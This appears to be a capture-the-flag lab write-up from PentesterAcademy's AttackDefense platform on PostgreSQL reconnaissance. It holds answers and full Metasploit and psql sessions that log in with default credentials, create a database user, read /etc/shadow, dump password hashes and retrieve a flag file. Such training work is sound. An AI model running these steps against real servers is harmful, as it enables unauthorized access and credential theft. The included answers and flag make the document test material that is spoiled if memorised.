
ATTACK
DEFENSE
by PentesterAcademy

Name	PostgreSQL Recon: Basics
URL	https://www.attackdefense.com/challengedetails?cid=531
Type	Network Recon : SQL Databases

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. What is the version of Postgres server?

Answer: 9.5.14

Commands:
msfconsole
use auxiliary/scanner/postgres/postgres_version
set RHOSTS 192.227.171.3
exploit

```
msf5 > use auxiliary/scanner/postgres/postgres_version
msf5 auxiliary(scanner/postgres/postgres_version) > set RHOSTS 192.227.171.3
RHOSTS => 192.227.171.3
msf5 auxiliary(scanner/postgres/postgres_version) > exploit

[*] 192.227.171.3:5432 Postgres - Version PostgreSQL 9.5.14 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609, 64-bit (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/postgres/postgres_version) >
```

Q2. How many databases are present on the server?

Answer: 5

Commands:

use auxiliary/scanner/postgres/postgres_schemadump
set RHOSTS 192.227.171.3
exploit

```
msf5 auxiliary(scanner/postgres/postgres_version) > use auxiliary/scanner/postgres/postgres_schemadump
msf5 auxiliary(scanner/postgres/postgres_schemadump) > set RHOSTS 192.227.171.3
RHOSTS => 192.227.171.3
msf5 auxiliary(scanner/postgres/postgres_schemadump) > exploit

[+] Postgres SQL Server Schema
 Host: 192.227.171.3
 Port: 5432
 ====================

---
- DBName: employee
  Tables:
  - TableName: company
    Columns:
    - ColumnName: id
      ColumnType: int4
      ColumnLength: '4'
    - ColumnName: name
      ColumnType: text
      ColumnLength: "-1"
    - ColumnName: age
      ColumnType: int4
      ColumnLength: '4'
    - ColumnName: address
      ColumnType: bpchar
      ColumnLength: "-1"
```

```
  - TableName: company_pkey
    Columns:
    - ColumnName: id
      ColumnType: int4
      ColumnLength: '4'
- DBName: data
  Tables: []
- DBName: storage
  Tables: []
- DBName: adminzone
  Tables: []
- DBName: junk
  Tables: []

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/postgres/postgres_schemadump) >
```

Q3. Create a database user named Hacker on the server.

Commands:
use auxiliary/admin/postgres/postgres_sql
set RHOSTS 192.227.171.3
set SQL CREATE USER hacker;
set VERBOSE true
exploit

```
msf5 auxiliary(scanner/postgres/postgres_schemadump) > use auxiliary/admin/postgres/postgres_sql
msf5 auxiliary(admin/postgres/postgres_sql) > set RHOSTS 192.227.171.3
RHOSTS => 192.227.171.3
msf5 auxiliary(admin/postgres/postgres_sql) > set SQL CREATE USER hacker;
SQL => CREATE USER hacker;
msf5 auxiliary(admin/postgres/postgres_sql) > set VERBOSE true
VERBOSE => true
msf5 auxiliary(admin/postgres/postgres_sql) > exploit

[+] 192.227.171.3:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres'
[*] 192.227.171.3:5432 Postgres - querying with 'CREATE USER hacker;'
[*] 192.227.171.3:5432 Rows Returned: 0
[+] 192.227.171.3:5432 Postgres - Command complete.
[*] 192.227.171.3:5432 Postgres - Disconnected
[*] Auxiliary module execution completed
msf5 auxiliary(admin/postgres/postgres_sql) >
```

Q4. Find the system password hash of user "dbadministrator".

Answer:
B735QF1wLcP07bEhgotlCnKZMkacKV1KAhcJfE8RCzUcGjd2WHmUwJf5Ru3mDXWD960rwS
O96ToWOMzEATiJy1

Commands:
use auxiliary/admin/postgres/postgres_readfile
set RFILE /etc/shadow
set RHOSTS 192.227.171.3
exploit

```
msf5 auxiliary(admin/postgres/postgres_sql) > use auxiliary/admin/postgres/postgres_readfile
msf5 auxiliary(admin/postgres/postgres_readfile) > set RFILE /etc/shadow
RFILE => /etc/shadow
msf5 auxiliary(admin/postgres/postgres_readfile) > set RHOSTS 192.227.171.3
RHOSTS => 192.227.171.3
msf5 auxiliary(admin/postgres/postgres_readfile) > exploit

Query Text: 'CREATE TEMP TABLE lCCksR (INPUT TEXT);
      COPY lCCksR FROM '/etc/shadow';
      SELECT * FROM lCCksR'
================================================================================================================

    input
    -----
    _apt:*:17848:0:99999:7:::
    backup:*:17848:0:99999:7:::
    bin:*:17848:0:99999:7:::
    daemon:*:17848:0:99999:7:::
    dbadministrator:$6$cTu2w4ZQ$B735QF1wLcP07bEhgotlCnKZMkacKV1KAhcJfE8RCzUcGjd2WHmUwJf5Ru3mDXWD960rwSO96ToWOMzEATiJy1:17861:0:99999:
7:::
```

Q5. How many database users are present on the database server? Lists their names and password hashes.

Answer:
dav: md52c91aab2f10da51700e18f7e4c359900
jack: md5b06a9f355bd8a004b404dc06e86a5ab6
jackson: md5c0f8eaebe9735029bb1553f670f01acf
peter: md5c991abdff30a5aada65694f199f0416a

Commands:
use auxiliary/scanner/postgres/postgres_hashdump
set RHOSTS 192.227.171.3
exploit

```
msf5 auxiliary(admin/postgres/postgres_readfile) > use auxiliary/scanner/postgres/postgres_hashdump
msf5 auxiliary(scanner/postgres/postgres_hashdump) > set RHOSTS 192.227.171.3
RHOSTS => 192.227.171.3
msf5 auxiliary(scanner/postgres/postgres_hashdump) > exploit

[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username  Hash
 --------  ----
 dav       md52c91aab2f10da51700e18f7e4c359900
 jack      md5b06a9f355bd8a004b404dc06e86a5ab6
 jackson   md5c0f8eaebe9735029bb1553f670f01acf
 peter     md5c991abdff30a5aada65694f199f0416a

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/postgres/postgres_hashdump) >
```

Q6. Retrieve the flag kept in FLAG file located at home directory of user dbadministrator.

Answer: af0cd4efc9e34a60050e61faac91842d

Commands:
use auxiliary/admin/postgres/postgres_readfile
set RFILE /home/dbadministrator/FLAG
set RHOSTS 192.227.171.3
exploit

```
msf5 auxiliary(scanner/postgres/postgres_hashdump) > use auxiliary/admin/postgres/postgres_readfile
msf5 auxiliary(admin/postgres/postgres_readfile) > set RFILE /home/dbadministrator/FLAG
RFILE => /home/dbadministrator/FLAG
msf5 auxiliary(admin/postgres/postgres_readfile) > set RHOSTS 192.227.171.3
RHOSTS => 192.227.171.3
msf5 auxiliary(admin/postgres/postgres_readfile) > exploit

Query Text: 'CREATE TEMP TABLE bjSQarLowBh (INPUT TEXT);
      COPY bjSQarLowBh FROM '/home/dbadministrator/FLAG';
      SELECT * FROM bjSQarLowBh'
================================================================================================================================
==============

    input
    -----
    af0cd4efc9e34a60050e61faac91842d

af0cd4efc9e34a60050e61faac91842d
[+] 192.227.171.3:5432 Postgres - /home/dbadministrator/FLAG saved in /root/.msf4/loot/20190524171130_default_192.227.171.3_postgres.
file_028441.txt
[*] Auxiliary module execution completed
msf5 auxiliary(admin/postgres/postgres_readfile) >
```

Q7. List all the databases stored on the postgresql server using interactive client psql.

Answer: adminzone, data, employee, junk, postgres, storage, template0, template1

Commands:
psql -h 192.227.171.3 -U postgres
\l

```
root@attackdefense:~# psql -h 192.227.171.3 -U postgres
psql (11.1 (Debian 11.1-1+b1), server 9.5.14)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=# \l
                                List of databases
   Name    |  Owner   | Encoding  | Collate | Ctype |   Access privileges
-----------+----------+-----------+---------+-------+-----------------------
 adminzone | postgres | SQL_ASCII | C       | C     |
 data      | postgres | SQL_ASCII | C       | C     |
 employee  | postgres | SQL_ASCII | C       | C     |
 junk      | postgres | SQL_ASCII | C       | C     |
 postgres  | postgres | SQL_ASCII | C       | C     |
 storage   | postgres | SQL_ASCII | C       | C     |
 template0 | postgres | SQL_ASCII | C       | C     | =c/postgres          +
           |          |           |         |       | postgres=CTc/postgres
 template1 | postgres | SQL_ASCII | C       | C     | =c/postgres          +
           |          |           |         |       | postgres=CTc/postgres
(8 rows)

postgres=#
```

Q8. Find the number of records present in table “company” in database “employee” stored on the postgresql server using interactive client psql.

Answer: 9

Commands:
\c employee
select count(*) from company;

```
postgres=# \c employee
psql (11.1 (Debian 11.1-1+b1), server 9.5.14)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
You are now connected to database "employee" as user "postgres".
employee=# select count(*) from company;
 count
-------
     9
(1 row)

employee=#
```

References:

1. PostgreSQL (https://www.postgresql.org/)
2. Metasploit Module: PostgreSQL Version Probe (https://www.rapid7.com/db/modules/auxiliary/scanner/postgres/postgres_version)
3. Metasploit Module: Postgres Schema Dump (https://www.rapid7.com/db/modules/auxiliary/scanner/postgres/postgres_schemadump)
4. Metasploit Module: PostgreSQL Server Generic Query (https://www.rapid7.com/db/modules/auxiliary/admin/postgres/postgres_sql)
5. Metasploit Module: Postgres Password Hashdump (https://www.rapid7.com/db/modules/auxiliary/scanner/postgres/postgres_hashdump)
6. Metasploit Module: PostgreSQL Server Generic Query (https://www.rapid7.com/db/modules/auxiliary/admin/postgres/postgres_readfile)